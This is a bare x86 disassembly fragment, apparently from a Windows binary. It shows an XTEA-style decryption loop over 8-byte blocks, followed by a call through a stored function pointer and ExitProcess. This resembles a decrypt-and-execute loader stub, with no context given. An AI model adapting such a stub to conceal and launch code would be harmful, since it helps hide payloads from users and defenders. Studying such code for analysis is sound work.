add edx, 0x61c88647
mov ebx, edx
and ebx, 3
mov ebx, dword [ebx*4 + 0x402118]
add edi, eax
add ebx, edx
xor edi, ebx
sub ecx, edi
test edx, edx
jne 0x40117c
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x10]
call fcn.00401053
lea ecx, [ebp - 0xc]
mov dword [esi], eax
call fcn.00401053
mov dword [esi + 4], eax
add esi, 8
dec dword [ebp - 8]
jne 0x401164
call dword [ebp - 4]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]